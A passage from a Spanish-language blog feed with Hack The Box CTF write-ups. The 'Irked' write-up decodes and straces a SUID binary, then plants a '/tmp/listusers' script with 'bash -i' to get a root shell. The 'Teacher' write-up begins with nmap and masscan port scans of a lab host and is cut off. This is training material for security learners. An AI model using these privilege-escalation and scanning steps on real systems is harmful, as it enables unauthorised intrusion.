</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAcAUAACAFAAABAAAAAQAAAAwAAAC8AwAADQAAAGQGAAAZAAAA9B4AABsAAAAEAAAA
</span></span><span style="display:flex;"><span>GgAAAPgeAAAcAAAABAAAAPX+/2+sAQAABQAAAGwCAAAGAAAAzAEAAAoAAACpAAAACwAAABAAAAAV
</span></span><span style="display:flex;"><span>AAAAAAAAAAMAAAAAIAAAAgAAACAAAAAUAAAAEQAAABcAAACcAwAAEQAAAFwDAAASAAAAQAAAABMA
</span></span><span style="display:flex;"><span>AAAIAAAA+///bwAAAAj+//9vLAMAAP///28BAAAA8P//bxYDAAD6//9vBAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB9BQAAAAAAAPweAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAPYDAAAGBAAAFgQAACYEAAAAAAAAICAAAEdDQzogKERlYmlhbiA3LjIuMC04KSA3LjIuMAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAFQBAAAAAAAAAwABAAAAAABoAQAAAAAAAAMAAgAAAAAAiAEAAAAA
</span></span><span style="display:flex;"><span>AAADAAMAAAAAAKwBAAAAAAAAAwAEAAAAAADMAQAAAAAAAAMABQAAAAAAbAIAAAAAAAADAAYAAAAA
</span></span><span style="display:flex;"><span>ABYDAAAAAAAAAwAHAAAAAAAsAwAAAAAAAAMACAAAAAAAXAMAAAAAAAADAAkAAAAAAJwDAAAAAAAA
</span></span><span style="display:flex;"><span>AwAKAAAAAAC8AwAAAAAAAAMACwAAAAAA4AMAAAAAAAADAAwAAAAAADAEAAAAAAAAAwANAAAAAABA
</span></span><span style="display:flex;"><span>BAAAAAAAAAMADgAAAAAAZAYAAAAAAAADAA8AAAAAAHgGAAAAAAAAAwAQAAAAAAAABwAAAAAAAAMA
</span></span><span style="display:flex;"><span>EQAAAAAANAcAAAAAAAADABIAAAAAAPQeAAAAAAAAAwATAAAAAAD4HgAAAAAAAAMAFAAAAAAA/B4A
</span></span><span style="display:flex;"><span>AAAAAAADABUAAAAAAOwfAAAAAAAAAwAWAAAAAAAAIAAAAAAAAAMAFwAAAAAAHCAAAAAAAAADABgA
</span></span><span style="display:flex;"><span>AAAAACQgAAAAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgABAAAAAAAAAAAAAAAEAPH/DAAAAJAEAAAA
</span></span><span style="display:flex;"><span>AAAAAgAOAA4AAADQBAAAAAAAAAIADgAhAAAAIAUAAAAAAAACAA4ANwAAACQgAAABAAAAAQAZAEYA
</span></span><span style="display:flex;"><span>AAD4HgAAAAAAAAEAFABtAAAAcAUAAAAAAAACAA4AeQAAAPQeAAAAAAAAAQATAJgAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAQA8f8BAAAAAAAAAAAAAAAEAPH/owAAABgIAAAAAAAAAQASAAAAAAAAAAAAAAAAAAQA8f+xAAAA
</span></span><span style="display:flex;"><span>+B4AAAAAAAAAABMAwgAAAPweAAAAAAAAAQAVAMsAAAD0HgAAAAAAAAAAEwDeAAAAAAcAAAAAAAAA
</span></span><span style="display:flex;"><span>ABEA8QAAAAAgAAAAAAAAAQAXAAcBAABgBgAAAgAAABIADgAXAQAAAAAAAAAAAAAgAAAAMwEAAIAE
</span></span><span style="display:flex;"><span>AAAEAAAAEgIOAIQBAAAcIAAAAAAAACAAGABJAQAAJCAAAAAAAAAQABgAEQEAAGQGAAAAAAAAEgAP
</span></span><span style="display:flex;"><span>AFABAAB5BQAAAAAAABICDgBmAQAAAAAAAAAAAAAiAAAAggEAABwgAAAAAAAAEAAYAI8BAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAABIAAACfAQAAAAAAAAAAAAASAAAAsQEAAAAAAAAAAAAAIAAAAMABAAAgIAAAAAAAABECGADN
</span></span><span style="display:flex;"><span>AQAAfAYAAAQAAAARABAA3AEAAAAAAAAAAAAAEgAAAPkBAAAABgAAXQAAABIADgC9AAAAKCAAAAAA
</span></span><span style="display:flex;"><span>AAAQABkAiAEAAEAEAAAAAAAAEgAOAAkCAAB4BgAABAAAABEAEAAQAgAAJCAAAAAAAAAQABkAHAIA
</span></span><span style="display:flex;"><span>AH0FAAB+AAAAEgAOACECAAAAAAAAAAAAABIAAAAzAgAAJCAAAAAAAAARAhgAPwIAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>IAAAAAMCAAC8AwAAAAAAABIACwAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2Rv
</span></span><span style="display:flex;"><span>X2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY1ODYAX19kb19nbG9iYWxfZHRvcnNfYXV4X2Zp
</span></span><span style="display:flex;"><span>bmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5
</span></span><span style="display:flex;"><span>AHZpZXd1c2VyLmMAX19GUkFNRV9FTkRfXwBfX2luaXRfYXJyYXlfZW5kAF9EWU5BTUlDAF9faW5p
</span></span><span style="display:flex;"><span>dF9hcnJheV9zdGFydABfX0dOVV9FSF9GUkFNRV9IRFIAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9f
</span></span><span style="display:flex;"><span>bGliY19jc3VfZmluaQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX194ODYuZ2V0X3BjX3Ro
</span></span><span style="display:flex;"><span>dW5rLmJ4AF9lZGF0YQBfX3g4Ni5nZXRfcGNfdGh1bmsuZHgAX19jeGFfZmluYWxpemVAQEdMSUJD
</span></span><span style="display:flex;"><span>XzIuMS4zAF9fZGF0YV9zdGFydABwdXRzQEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX19n
</span></span><span style="display:flex;"><span>bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAF9JT19zdGRpbl91c2VkAF9fbGliY19zdGFydF9tYWlu
</span></span><span style="display:flex;"><span>QEBHTElCQ18yLjAAX19saWJjX2NzdV9pbml0AF9mcF9odwBfX2Jzc19zdGFydABtYWluAHNldHVp
</span></span><span style="display:flex;"><span>ZEBAR0xJQkNfMi4wAF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAAC5zeW10
</span></span><span style="display:flex;"><span>YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWls
</span></span><span style="display:flex;"><span>ZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25f
</span></span><span style="display:flex;"><span>cgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5l
</span></span><span style="display:flex;"><span>aF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5n
</span></span><span style="display:flex;"><span>b3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAVAEAAFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAH
</span></span><span style="display:flex;"><span>AAAAAgAAAGgBAABoAQAAIAAAAAAAAAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIAQAAiAEAACQA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAQAAAAAAAAARAAAAPb//28CAAAArAEAAKwBAAAgAAAABQAAAAAAAAAEAAAABAAA
</span></span><span style="display:flex;"><span>AE4AAAALAAAAAgAAAMwBAADMAQAAoAAAAAYAAAABAAAABAAAABAAAABWAAAAAwAAAAIAAABsAgAA
</span></span><span style="display:flex;"><span>bAIAAKkAAAAAAAAAAAAAAAEAAAAAAAAAXgAAAP///28CAAAAFgMAABYDAAAUAAAABQAAAAAAAAAC
</span></span><span style="display:flex;"><span>AAAAAgAAAGsAAAD+//9vAgAAACwDAAAsAwAAMAAAAAYAAAABAAAABAAAAAAAAAB6AAAACQAAAAIA
</span></span><span style="display:flex;"><span>AABcAwAAXAMAAEAAAAAFAAAAAAAAAAQAAAAIAAAAgwAAAAkAAABCAAAAnAMAAJwDAAAgAAAABQAA
</span></span><span style="display:flex;"><span>ABcAAAAEAAAACAAAAIwAAAABAAAABgAAALwDAAC8AwAAIwAAAAAAAAAAAAAABAAAAAAAAACHAAAA
</span></span><span style="display:flex;"><span>AQAAAAYAAADgAwAA4AMAAFAAAAAAAAAAAAAAABAAAAAEAAAAkgAAAAEAAAAGAAAAMAQAADAEAAAQ
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAIAAAACAAAAJsAAAABAAAABgAAAEAEAABABAAAIgIAAAAAAAAAAAAAEAAAAAAA
</span></span><span style="display:flex;"><span>AAChAAAAAQAAAAYAAABkBgAAZAYAABQAAAAAAAAAAAAAAAQAAAAAAAAApwAAAAEAAAACAAAAeAYA
</span></span><span style="display:flex;"><span>AHgGAACIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAABAAAAAgAAAAAHAAAABwAANAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>BAAAAAAAAAC9AAAAAQAAAAIAAAA0BwAANAcAAOgAAAAAAAAAAAAAAAQAAAAAAAAAxwAAAA4AAAAD
</span></span><span style="display:flex;"><span>AAAA9B4AAPQOAAAEAAAAAAAAAAAAAAAEAAAABAAAANMAAAAPAAAAAwAAAPgeAAD4DgAABAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAABAAAAAQAAADfAAAABgAAAAMAAAD8HgAA/A4AAPAAAAAGAAAAAAAAAAQAAAAIAAAAlgAA
</span></span><span style="display:flex;"><span>AAEAAAADAAAA7B8AAOwPAAAUAAAAAAAAAAAAAAAEAAAABAAAAOgAAAABAAAAAwAAAAAgAAAAEAAA
</span></span><span style="display:flex;"><span>HAAAAAAAAAAAAAAABAAAAAQAAADxAAAAAQAAAAMAAAAcIAAAHBAAAAgAAAAAAAAAAAAAAAQAAAAA
</span></span><span style="display:flex;"><span>AAAA9wAAAAgAAAADAAAAJCAAACQQAAAEAAAAAAAAAAAAAAABAAAAAAAAAPwAAAABAAAAMAAAAAAA
</span></span><span style="display:flex;"><span>AAAkEAAAHAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAgAAAAAAAAAAAAAAQBAAAFAEAAAcAAAALAAA
</span></span><span style="display:flex;"><span>AAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAJAUAABZAgAAAAAAAAAAAAABAAAAAAAAABEAAAADAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAADpFgAABQEAAAAAAAAAAAAAAQAAAAAAAAA=
</span></span><span style="display:flex;"><span>djmardov@irked:/dev/shm$
</span></span></code></pre></div><p>Ahora el contenido lo guardo en un archivo viewuser.b64 y cambio el encoding:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ base64 -d viewuser.b64 &gt; viewuser.bin
</span></span></code></pre></div><p>Bien, ahora usemos strace para ver sus llamadas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ strace ./viewuser.bin
</span></span><span style="display:flex;"><span>execve(&#34;./viewuser.bin&#34;, [&#34;./viewuser.bin&#34;], 0x7ffe8df0c210 /* 55 vars */) = 0
</span></span><span style="display:flex;"><span>strace: [ Process PID=7944 runs in 32 bit mode. ]
</span></span><span style="display:flex;"><span>brk(NULL)                               = 0x57f14000
</span></span><span style="display:flex;"><span>access(&#34;/etc/ld.so.nohwcap&#34;, F_OK)      = -1 ENOENT (No existe el fichero o el directorio)
</span></span><span style="display:flex;"><span>mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7fa4000
</span></span><span style="display:flex;"><span>access(&#34;/etc/ld.so.preload&#34;, R_OK)      = -1 ENOENT (No existe el fichero o el directorio)
</span></span><span style="display:flex;"><span>openat(AT_FDCWD, &#34;/etc/ld.so.cache&#34;, O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
</span></span><span style="display:flex;"><span>fstat64(3, {st_mode=S_IFREG|0644, st_size=248316, ...}) = 0
</span></span><span style="display:flex;"><span>mmap2(NULL, 248316, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7f67000
</span></span><span style="display:flex;"><span>close(3)                                = 0
</span></span><span style="display:flex;"><span>access(&#34;/etc/ld.so.nohwcap&#34;, F_OK)      = -1 ENOENT (No existe el fichero o el directorio)
</span></span><span style="display:flex;"><span>openat(AT_FDCWD, &#34;/lib/i386-linux-gnu/libc.so.6&#34;, O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
</span></span><span style="display:flex;"><span>read(3, &#34;\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\254\1\0004\0\0\0&#34;..., 512) = 512
</span></span><span style="display:flex;"><span>fstat64(3, {st_mode=S_IFREG|0755, st_size=1947056, ...}) = 0
</span></span><span style="display:flex;"><span>mmap2(NULL, 1955712, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7d89000
</span></span><span style="display:flex;"><span>mprotect(0xf7da2000, 1830912, PROT_NONE) = 0
</span></span><span style="display:flex;"><span>mmap2(0xf7da2000, 1368064, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19000) = 0xf7da2000
</span></span><span style="display:flex;"><span>mmap2(0xf7ef0000, 458752, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x167000) = 0xf7ef0000
</span></span><span style="display:flex;"><span>mmap2(0xf7f61000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d7000) = 0xf7f61000
</span></span><span style="display:flex;"><span>mmap2(0xf7f64000, 10112, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7f64000
</span></span><span style="display:flex;"><span>close(3)                                = 0
</span></span><span style="display:flex;"><span>set_thread_area({entry_number=-1, base_addr=0xf7fa50c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
</span></span><span style="display:flex;"><span>mprotect(0xf7f61000, 8192, PROT_READ)   = 0
</span></span><span style="display:flex;"><span>mprotect(0x565fd000, 4096, PROT_READ)   = 0
</span></span><span style="display:flex;"><span>mprotect(0xf7fd3000, 4096, PROT_READ)   = 0
</span></span><span style="display:flex;"><span>munmap(0xf7f67000, 248316)              = 0
</span></span><span style="display:flex;"><span>fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x3), ...}) = 0
</span></span><span style="display:flex;"><span>brk(NULL)                               = 0x57f14000
</span></span><span style="display:flex;"><span>brk(0x57f35000)                         = 0x57f35000
</span></span><span style="display:flex;"><span>brk(0x57f36000)                         = 0x57f36000
</span></span><span style="display:flex;"><span>write(1, &#34;This application is being devleo&#34;..., 69This application is being devleoped to set and test user permissions
</span></span><span style="display:flex;"><span>) = 69
</span></span><span style="display:flex;"><span>write(1, &#34;It is still being actively devel&#34;..., 37It is still being actively developed
</span></span><span style="display:flex;"><span>) = 37
</span></span><span style="display:flex;"><span>rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
</span></span><span style="display:flex;"><span>clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xffdd644c) = 7945
</span></span><span style="display:flex;"><span>waitpid(7945, xbytemx  tty7         2019-04-03 17:35 (:0)
</span></span><span style="display:flex;"><span>[{WIFEXITED(s) &amp;&amp; WEXITSTATUS(s) == 0}], 0) = 7945
</span></span><span style="display:flex;"><span>rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
</span></span><span style="display:flex;"><span>--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=7945, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
</span></span><span style="display:flex;"><span>setuid32(0)                             = -1 EPERM (Operación no permitida)
</span></span><span style="display:flex;"><span>rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
</span></span><span style="display:flex;"><span>clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xffdd644c) = 7947
</span></span><span style="display:flex;"><span>waitpid(7947, sh: 1: /tmp/listusers: not found
</span></span><span style="display:flex;"><span>[{WIFEXITED(s) &amp;&amp; WEXITSTATUS(s) == 127}], 0) = 7947
</span></span><span style="display:flex;"><span>rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
</span></span><span style="display:flex;"><span>rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
</span></span><span style="display:flex;"><span>--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=7947, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
</span></span><span style="display:flex;"><span>exit_group(0)                           = ?
</span></span><span style="display:flex;"><span>+++ exited with 0 +++
</span></span></code></pre></div><p>Observamos que después de intentar el setuid a 0, a lo cual no tiene permisos en mi máquina, trata de ejecutar el archivo &ldquo;/tmp/listusers&rdquo; sin éxito por lo que termina el programa.</p>
<p>Ahora que tenemos una idea de lo que trata el binario, podemos preparar el archivo listusers con un pequeño script en bash que nos mantenga una sesión interactiva:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>djmardov@irked:/dev/shm$ printf &#39;#!/bin/bash\nbash -i\n&#39; &gt; /tmp/listusers
</span></span><span style="display:flex;"><span>djmardov@irked:/dev/shm$ chmod +x /tmp/listusers
</span></span><span style="display:flex;"><span>djmardov@irked:/dev/shm$ /usr/bin/viewuser
</span></span><span style="display:flex;"><span>This application is being devleoped to set and test user permissions
</span></span><span style="display:flex;"><span>It is still being actively developed
</span></span><span style="display:flex;"><span>(unknown) :0           2019-04-03 19:24 (:0)
</span></span><span style="display:flex;"><span>djmardov pts/0        2019-04-03 20:24 (10.10.15.118)
</span></span><span style="display:flex;"><span>djmardov pts/3        2019-04-03 19:58 (10.10.14.197)
</span></span><span style="display:flex;"><span>djmardov pts/5        2019-04-03 19:25 (10.10.13.246)
</span></span><span style="display:flex;"><span>djmardov pts/6        2019-04-03 19:25 (10.10.15.167)
</span></span><span style="display:flex;"><span>djmardov pts/11       2019-04-03 19:29 (10.10.14.93)
</span></span><span style="display:flex;"><span>djmardov pts/16       2019-04-03 19:36 (10.10.15.118)
</span></span><span style="display:flex;"><span>djmardov pts/17       2019-04-03 20:04 (10.10.15.118)
</span></span><span style="display:flex;"><span>djmardov pts/24       2019-04-03 20:05 (10.10.14.141)
</span></span><span style="display:flex;"><span>djmardov pts/25       2019-04-03 20:29 (10.10.15.7)
</span></span><span style="display:flex;"><span>root@irked:/dev/shm#
</span></span></code></pre></div><p>Y somos root.</p>
<h1 id="cat-roottxt">cat root.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@irked:~# cat /root/root.txt
</span></span></code></pre></div><p>&hellip; We got root and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Teacher</title><link>https://www.xbyte.mx/posts/htb_writeup_-_teacher/</link><pubDate>Sat, 20 Apr 2019 18:48:57 -0500</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_teacher/</guid><description>&lt;p&gt;Teacher fue una maquina que resulto peculiarmente interesante acerca de como debemos mantener nuestras aplicaciones actualizadas para evitar exploits, no dejar cuentas de sistema operativo dentro de bases de datos de aplicativos y leer un buen libro de como programar en bash.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Teacher fue una maquina que resulto peculiarmente interesante acerca de como debemos mantener nuestras aplicaciones actualizadas para evitar exploits, no dejar cuentas de sistema operativo dentro de bases de datos de aplicativos y leer un buen libro de como programar en bash.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/7a34de62dde0bf66d0c89eb0c4d9136b_thumb.png" alt="teacher image"> <a href="https://www.hackthebox.eu/home/machines/profile/165">teacher</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/623">Gioo</a></td>
          <td>Linux</td>
          <td>10.10.10.153</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-teacher/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- --open -v -n 10.10.10.153
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 13:03 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 13:03
</span></span><span style="display:flex;"><span>Scanning 10.10.10.153 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 13:03, 0.42s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 13:03
</span></span><span style="display:flex;"><span>Scanning 10.10.10.153 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.153
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 41.88% done; ETC: 13:05 (0:00:43 remaining)
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 13:05, 92.27s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.153
</span></span><span style="display:flex;"><span>Host is up (0.20s latency).
</span></span><span style="display:flex;"><span>Not shown: 64287 closed ports, 1247 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE
</span></span><span style="display:flex;"><span>80/tcp open  http
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 92.83 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 122545 (5.392MB) | Rcvd: 109495 (4.380MB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Continuemos validando los puertos TCP abiertos con masscan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.153
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-15 06:03:50 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.153
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios usando nuevamente <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -p80 --open -v -n 10.10.10.153 -sV -sC
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 13:10 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 148 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 13:10
</span></span><span style="display:flex;"><span>Completed NSE at 13:10, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 13:10
</span></span><span style="display:flex;"><span>Completed NSE at 13:10, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 13:10
</span></span><span style="display:flex;"><span>Scanning 10.10.10.153 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 13:10, 0.42s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 13:10
</span></span><span style="display:flex;"><span>Scanning 10.10.10.153 [1 port]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.153
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 13:10, 0.42s elapsed (1 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 13:10
</span></span><span style="display:flex;"><span>Scanning 1 service on 10.10.10.153
</span></span><span style="display:flex;"><span>Completed Service scan at 13:10, 6.40s elapsed (1 service on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.153.
</span></span><span style="display:flex;"><span>Initiating NSE at 13:10
</span></span><span style="display:flex;"><span>Completed NSE at 13:10, 3.64s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 13:10
</span></span><span style="display:flex;"><span>Completed NSE at 13:10, 0.00s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.153
</span></span><span style="display:flex;"><span>Host is up (0.19s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>80/tcp open  http    Apache httpd 2.4.25 ((Debian))
</span></span><span style="display:flex;"><span>| http-methods:
